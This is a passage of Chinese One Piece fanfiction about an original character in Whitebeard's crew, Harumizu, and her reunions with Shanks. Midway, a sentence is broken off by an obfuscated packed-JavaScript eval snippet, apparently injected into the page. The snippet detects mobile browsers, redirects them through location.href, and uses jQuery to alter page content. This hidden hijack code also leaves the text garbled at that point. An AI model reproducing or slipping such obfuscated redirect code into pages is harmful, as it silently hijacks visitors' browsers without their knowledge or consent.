请选择你的出生地点:白胡子海贼团
请选择你的天赋技能:果实觉醒·顶级武装色/霸王色=「无我不断」
伟大航路后半段——被称为新世界的海域诡谲莫测,散落的暗礁和漩涡、前一刻晴空万里下一刻巨浪滔天,这种鬼天气已经让人适应了。
顶着像是要把大陆掀翻的风浪,巨舰「莫比迪克号」凭借着航海士的指挥与舵手的默契配合,如同其白鲸造型一般,破开浪涛,灵活穿过风浪带。
雨歇云散,洋流变得稳定了起来,天边甚至挂起了一道绚丽的彩虹桥。
“队长!马尔科队长!能看到下一个岛了!”瞭望台上的船员兴奋地向下呼喊。
“辛苦了yoi。”一番队队长马尔科朝他挥了挥手,侧头看向甲板中央山岳般稳重的身影,“老爹,我说真的,这次我绝对不会再给你搬酒回来了。”
有着标志性弦月状白胡子的老人——爱德华·纽盖特闻言不语,只是眯眼看着彩虹,发出了他那标志性的“库啦啦啦啦”的笑声,心情颇佳地调整了一下坐姿,准备在难得的好天气下打个盹。
那是这艘船的主人,被称为“世界最强”,甚至被世界政府认证为“新世界皇帝”的大海贼「白胡子」。
是他们的「老爹」。
“你就听马尔科的吧,老爹。”三番队队长乔兹翘着腿坐在一旁的酒桶上,“要听船医的话啊。”
靠在船舷边的四番队队长萨奇和五番队队长比斯塔对视,无奈摇头。
“又开始装睡!”
“老爹——!”
“你也管管他啊春水!”乔兹朝着高处喊道。
闻言,坐在瞭望台下方船舷上的女人收回了望向前方海平面的视线——那里空无一物,只有粼粼波光——对上了马尔科和乔兹一起投来的、带着无声谴责的目光。
“算啦,马尔科。”一番队副队长,与马尔科同年登船、并称为白胡子海贼团「王之双翼」的春水,语气一如既往地平静,“反正最后也会按老爹喜欢的来吧。”
你又劝不住他。
——她是这样的眼神。
马尔科:“……”
他挫败地叹了口气,无法反驳。
“库啦啦啦啦啦——!”装睡的白胡子笑得更大声了。
“就知道你在装睡!!老爹!!!”萨奇和比斯塔的抗议声淹没在老爹爽朗的笑声和其他队员们的哄笑中。
莫比迪克号作为白胡子海贼团的主船,与另外四艘外轮船共同组成一支庞大的船队。它被拱卫在船队中心,整个船队就如同一个海上王国。
这只船队目标太大,无疑是许多海贼与海军的眼中钉。偏偏纽盖特还不愿意像建立万国的「大妈」夏洛特玲玲和盘踞和之国的「百兽」凯多一样,偏居一隅。
他生于大海。
他的家就是这艘不断航行的巨船。
因此,比主舰机动性更强的小型帆船队,自然承担起了上岛采购的任务。抓阄留下半数船员守卫莫比迪克号,几位闲不住的队长纷纷带人跳上了采购船。
“那我们就先走一步了,晚上见!”
“哦——!”
几条采购船扬起风帆,离弦之箭般驶向远处的岛屿。
马尔科站在船头,安排着采购清单和人员分配。春水则安静地坐在他身后的船舷边,目光依然盯着正前方,海面上远远的能看见一艘船的轮廓。
——真稀奇,碰见了熟悉的人。
马尔科无意扫过她的目光,顺着望过去,见闻色迅速捕捉到了那艘大船——船首像如同红色巨兽,帆上印着带红色疤痕的骷髅头。
雷德·福斯号。
近几年声名鹊起的大海贼「红发」香克斯的船。
马尔科的笑容缓缓沉了下来。
比斯塔还在擦拭着他的爱刀,笑着对旁边的十六队队长以藏说:“这次希望能找到点好酒,虽然马尔科肯定又要念叨……”
他模仿着马尔科的语气,“‘不行yoi!绝对不能再给老爹买了yoi!’”
以藏也在笑:“但最后妥协的总是他。”
萨奇已经开始盘算:“不知道这里的特色食材是什么……好期待啊!”
“那是……?”船越发靠近,众人停下了谈笑,表情逐渐严肃起来。
显然,没人认不出那面标志性的海贼旗。
“哟!”
逐渐靠近的雷德·福斯号的船舷边,一头红发、带着草帽的香克斯,正用力挥动着右臂,脸上洋溢着过于灿烂的笑容,朝着他们大喊:
“春水!好久不见!”
这一嗓子,甲板上的众人目光齐刷刷地转向春水。
“一船的人就只认识你似的,奔着你就来了。”马尔科抱着手臂,挑眉吐槽了一句,语气听不出喜怒,立刻引来了几位队长心照不宣的低笑。
春水微微偏过头,长发被海风拂动,越过波光粼粼的海面,落在了那个笑容晃眼的红发男人身上。
她的脸上没什么表情,只是幅度极小地点了一下头,算是回应。整个过程,安静得没有吐出一个字。
是她惯有的,并不热络,甚至显得有些冷淡的回应。
——三年过去了。
——他长高了。
上一次遇见香克斯还是桑塔尼亚岛——一个再普通不过的岛屿,但纽盖特年少时曾在此驻留并提及当地一种有名的威士忌,而变得特殊了起来。
春水完成了马尔科罗列的长长的采买清单——大部分都是需要花时间辨认的药物,将它们一一搬上停靠在岸边的采购船。
做完这一切,她并未随其他队员一同休息,而是和马尔科打了个招呼,独自折返回镇子,凭着模糊的记忆找到了老爹嘴里的老酒馆,向老板订下了十桶据说「有着独特烟熏味的威士忌」。
酒馆的空气里弥漫着麦芽发酵和烟草混合的气息,角落的灯光明明灭灭。有一个醉汉举着酒瓶手舞足蹈,眼见着就要朝她这边撞过来。
春水头都未抬,平静地与老板核对订单。
那醉汉脚下却仿佛突然被什么无形的东西绊了一下,惊呼一声,以滑稽的姿势摔倒在地,引来周围看客一阵毫不留情的爆笑。
——绊住他的,是一根自他脚下生长出的,无形但有力的“线”。
这一幕恰好落入了带着伙伴们来买酒的香克斯眼中。
他原本只是觉得有趣,多看了两眼被捉弄的醉汉和他身后的「始作俑者」,直到那人侧过脸,露出平静无波的熟悉轮廓,他才恍然。
是她啊。
怪不得……气息收敛得如同普通旅人,若非这小小的插曲,他几乎要错过了。
这不是春水嘛。
他乡遇故知,香克斯好心情地凑过去与贝克曼交代两句,顺手拿起服务生刚上的酒,朝着那个角落走去。
“又见面啦,春水!”
她闻声抬头,视线略过他标志性的红发和草帽上,声音淡淡的:“哦……是你啊。”
“来买酒吗?”香克斯笑容爽朗,很自然地将手中的酒杯递过去,“试试这个,味道很棒。”
春水看着他递过来的酒杯,沉默片刻,安静接过。
香克斯顺势向她介绍起自己那些好奇张望过来的伙伴们,她只是挨个点头,算是打过招呼,然后便捧着那杯酒,静静看着香克斯和他那些吵吵嚷嚷却默契十足的伙伴们。
看了好一会儿,就在香克斯以为春水不会再开口时,她忽然出声,声音依旧是那平铺直叙的调子。
“确实还不错。”
酒也是,他的伙伴也是。
香克斯愣了一下,明白了她的未尽之意,笑容更加灿烂:“是吧?”
春水点点头,又补充了一句:“很像……以前。”
——他当然知道“以前”指的是什么。
这句话让香克斯怔住了,半晌才咧嘴笑开:“是吗……那真是,最高的夸奖了。”
这时,酒馆老板示意春水已经打包完毕。她点了点头,将几乎没怎么喝的那杯酒放回吧台——其实没喝完有些可惜,但她确实拿不下了。
香克斯似乎看出了她的心情,大笑着接过杯子喝了一大口,春水的眼睛便微微弯了弯,对香克斯再次点了点头,算是告别,便转身离开。
——这是满意的意思了。
香克斯望着她的背影消失在酒馆门口,心知下次再见就是几年以后了,那时红发海贼团的名字一定会响彻伟大航路——他近乎轻狂地想着,回头看了看自己那活力四射、正在笑闹的伙伴们,将酒一饮而尽。
不知道为什么,心情变得很好。
“遇见了什么有意思的事吗?”走出酒馆的春水将酒桶推上采购船,被马尔科无意地一问。
“……?”
“因为春水你啊,刚刚在笑哦。”
她顶着马尔科困惑的目光,摸了摸嘴角,确实是弯起的弧度。
“没什么。”弧度落下,她平静地回道,“我们回去吧。”
——他看起来比之前精神了不少,挺好的。
有一搭没一搭地回着马尔科对萨奇把东西搬上别人的采购船结果引发暴动的抱怨,春水这么想着。
三年后的再遇,红发海贼团果然从东海不知名海贼团成了如今政府也开始忌惮的存在。
春水回过神来,却见马尔科、比斯塔这几个一言不合开始「切磋」的好战分子已经跳上了人家的甲板。
海贼之间的交流方式有时简单粗暴。
不知是谁先提议的,或许总是在奇怪地方燃起好胜心的马尔科一句“香克斯,要不要久违地切磋一下yoi!”,下一刻,两道身影便已跃至空中。
锵!
名刀格里芬与缠绕着青蓝色火焰的脚爪悍然相撞,空气为之一振。
香克斯的剑术早已褪去青涩,他对霸气的领悟甚至有超过春水的苗头——每一次挥斩都裹挟着霸王色霸气,凌厉无比。
剑气与青炎交错,撕裂云层,眨眼已过数招。
激战正酣,香克斯刚格开马尔科一记沉重的踢击,一道飞翔斩击却以刁钻的角度,直刺香克斯左腹!
花剑·比斯塔!
“船长!”作为他的对手,贝克曼暗惊,他反应最快,举枪便射。
这人的剑气居然被自己格挡后仍有这种威力,不愧是那位「白胡子」手下的队长。
但有人比他更快!
“嗡——!”
破空声响起,另一道斩击已至,精准地撞在比斯塔的剑气侧翼,巧妙地化解比斯塔的剑气,使之擦着香克斯与马尔科的衣角飞向远方大海,炸起冲天水柱。
——好精准的掌控力。
马尔科挑眉,顺势后跃回船上,似真似假地抱怨道:“喂喂,差点打到我哦,春水。”
香克斯猛地转头。
对面的船舷上,春水活动着手指,连眼神都没分过来。对着给她展示身上并不存在的擦伤的马尔科,她甚至懒得抬头,语气平淡地甩锅。
“是比斯塔准头太差。”她顿了顿,“早说了白天不要喝酒。”
以藏闻言,毫不客气地嗤笑一声。乔兹和萨奇早就看出来比斯塔是故意朝着那两人对战中心打的,此刻更是毫不掩饰“你活该”的表情。
只有被揭穿的比斯塔不忿跳脚:“喂!我明明很清醒!”
“走了。”马尔科瞪他一眼,把最长的采购清单塞到他手上,“居然想下黑手,不买齐不许上船yoi。”
“唉——?!” 比斯塔发出一声哀嚎。
“哈哈哈活该!”萨奇毫不留情地大笑。
“你也是!”马尔科矛头一转,指向一旁看似事不关己的春水,“就知道看热闹,这些清单归你了yoi!” 他将另一沓清单递过去。
“哈哈哈哈哈春水也要被骂吗。”萨奇笑得更欢了。
以藏默默扶额:“别小瞧了他这种时候的小心眼啊。”
春水沉默地接过长长的清单,看了看,平静地陈述:“……我参战了。”
她不说还好,一说更是火上浇油。
马尔科额角冒出十字青筋:“敌我不分算哪门子的参战yoi!!!”
春水与他对视两秒,然后默默低下头,像是认错,又像是无从争辩后的妥协:“………好吧。”
“哈哈哈哈哈哈哈哈哈哈哈哈哈哈——”周围顿时爆发出更响亮的笑声。
有年轻队员小声嘀咕:“马尔科队长发起脾气来,连春水姐都不敢顶嘴啊……”
新岛就在面前,这场友好的切磋自然到此为止,两方人马道了别,准备放锚收帆做登岛的准备。
香克斯盯着春水腰侧未出过鞘的斩刀,忽然笑了,手腕一振,格里芬归鞘。
——居然能将霸气缠绕上「无刀」,她又变强了。
但是这一幕,真是……熟悉的令人怀念啊。
十四年前的一战,雷鸣与斩击撕裂天空,连海水都为之沸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493570|202364||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腾。那是白胡子海贼团与罗杰海贼团首次对战,也是他第一次认识这个人。
春水。
曾被雷利先生赞叹的对手。
年仅十二岁的香克斯,尽管已是罗杰船上的见习生,见识过无数风浪,在面对白胡子与罗杰对砍引发的狂暴冲击时,依然显得渺小。
——那是如同蚂蚁对抗海啸般的渺小。
「丛云切」与「艾斯」相撞,余波悄无声息地扫向正全力躲避来自白胡子团的炮击的他。
反应过来时已经躲避不及,预想中的剧痛却并未到来。
一道身影以他根本无法捕捉的速度,突兀地加入战场。
“锵——!”
清脆地令人牙酸的撕裂声响起。香克斯只看到一头飞扬的黑发,以及占据她大半肩膀的、狰狞的白胡子骷髅标志。
来人反手一刀,简洁利落。
剑气碰撞,海面同样炸起冲天水柱。
下一秒,他的后衣领一紧,眼前景物飞速倒退,被人拎着脱离了那片最危险的区域。
“离远点。”她说。
直到被放下,香克斯才看清救他的人。那是一个看起来比他年长几岁的少女,瞳孔是漂亮的金色,眼神平静。
“为……为什么?”少年香克斯的心脏仍在狂跳,“为什么救我?”
他们是敌人,不是吗?
至少在刚才,还是刀剑相向的敌人。
春水闻言一愣,有些困扰地挠了挠头,黑发被她揉得更乱了些。
她似乎不太擅长处理这种“为什么”的问题。
“老爹很欣赏罗杰,”她试图用最直白的逻辑解释,“所以我们不算敌人,只是切磋。”
她顿了顿,像是为了增加说服力,又补充道,“……再打几天就会开宴会了。”
“啊……?”
春水的目光扫过少年有些苍白的脸和微微颤抖的手,想到了什么似的,又干巴巴地道:“而且,你太弱了,再练练吧。”
理由简单、直白,就和她的斩击一样,甚至听起来有点像嘲讽,但香克斯却奇异地听懂了她的担心。
他猛地抬起头,大声道:“我叫香克斯!”
他想说,他绝对不会一直会这么弱的。
还有……她是在担心他受伤吧。少年心里默默地想。
“哦。”春水点点头,算是知道了这个名字。她的视线已经越过他,看向了战场——雷利正和光月御田打得有来有回,马尔科在空中洒落青炎支援伙伴。
而司克帕·贾巴——
失去对手的贾巴已经朝着马尔科斩来了。
“走了。你自己小心点。”
她丢下这句话,身形一动,已然如离弦之箭般飞身而出,精准地替马尔科接下了贾巴势大力沉的双斧劈砍。
“春水——”香克斯听见了她的伙伴,那只罕见幻兽种「不死鸟」的呼喊,“我很快,你再撑一会儿。”
“不急,你自己小心。”
金铁交鸣之声再次炸响,又是一场恶战展开。但在那一战,他也记住了这个名字。
“那个叫「春水」的女孩子,小小年纪居然能领悟霸王色到这个程度。”很久以后提起她时,雷利是这么说的,“你有个劲敌了,香克斯。”
正如春水所言,经历了一场酣畅淋漓的战斗后,两位船长大手一挥,盛大的宴会开始了。
奥罗·杰克逊号与莫比迪克号并排停靠,觥筹交错,欢声雷天。
香克斯正和巴基抢着烤肉,喧闹中,目光不经意地扫过篝火边缘。
熟悉的少女独自坐在一截巨大的原木上。她手里拿着一团被扯开的线,正笨拙地、全神贯注地整理着它们,眉头紧锁,表情是鲜活的苦恼和认真。
分神导致最后一块烤肉被巴基抢走,香克斯索性把盘子递给他,自己则鼓起勇气走过去。
“那个!谢谢你之前……”他有些不好意思地开口。
春水抬头看了他一眼,又低下头和手里的毛线“搏斗”,随口道:“哦,是你啊。没什么。”
一阵沉默的尴尬蔓延,香克斯看着她手指翻飞,线团非但没理顺,反而有越来越乱,几乎要缠成一个死结。
他看了又看,忍不住开口:“你的线……好像打结了……”
“嗯?”春水的眉头皱得更紧了,“啊,真是麻烦。”
她嘴里嘀咕着,似乎打算直接用蛮力扯开。
——原来她也有不擅长的东西啊。
“别!别扯!”香克斯试图阻止,“线会断掉的!我……我帮你吧?”
其实他也不太擅长这种精细活,但不知道哪来的冲动,他揽下了这个活。
春水真的把那团乱麻丢给了他,然后默默往旁边挪了挪,给他腾出了一小块位置,自己则安静地坐在一边,看着他笨拙但耐心地解着线结。
笑声震天响的宴会上,这里成了难得的清静之地。
饶是日后被伙伴戏称为“社交悍匪”的香克斯此刻如何努力寻找话题,他们的对话仍然进行得磕磕绊绊,时常冷场。
香克斯慢慢发现,她似乎听不懂那些简单的玩笑,常常会答非所问,或者突然陷入沉默,盯着某个地方出神。
但总体来说,聊得……还行?至少她没有表现出不耐烦。
而在他们未曾注意的篝火另一侧,马尔科一边帮伙伴处理伤口,一边时不时将目光投向角落里的两人。他眉头微微挑起,惊讶于春水的反应。
……她在朝那小子笑吗?
………笑得那么开心吗?!
莫名有点不爽的他用手肘碰了碰旁边正在大快朵颐的乔兹,朝着两人方向努了努嘴。
乔兹迷茫地顺着他的目光看去,看着没反应过来,一旁的以藏和比斯塔的脸上却立刻露出看好戏的笑容。
拉上还在皱眉的马尔科,两个人默契地跑到正豪迈饮酒的纽盖特身边,带着点少年人特有的、发现新奇事物的语气,“告状”道:
“老爹!你看!春水好像交到了个新朋友!”
爱德华·纽盖特顺着他们指的方向望去,看到那并排坐着、不知道在说什么的两个小小身影,尤其是自家那个平时只会握刀和发呆的女儿此刻那难得的笑脸——
虽然看着只是被红发小子的表情逗笑的,他用线把自己缠成一坨也太搞笑了点。
纽盖特发出了低沉而愉悦的哈哈大笑,仰头灌下一大口酒:
“库啦啦啦啦!这不是挺好的吗?”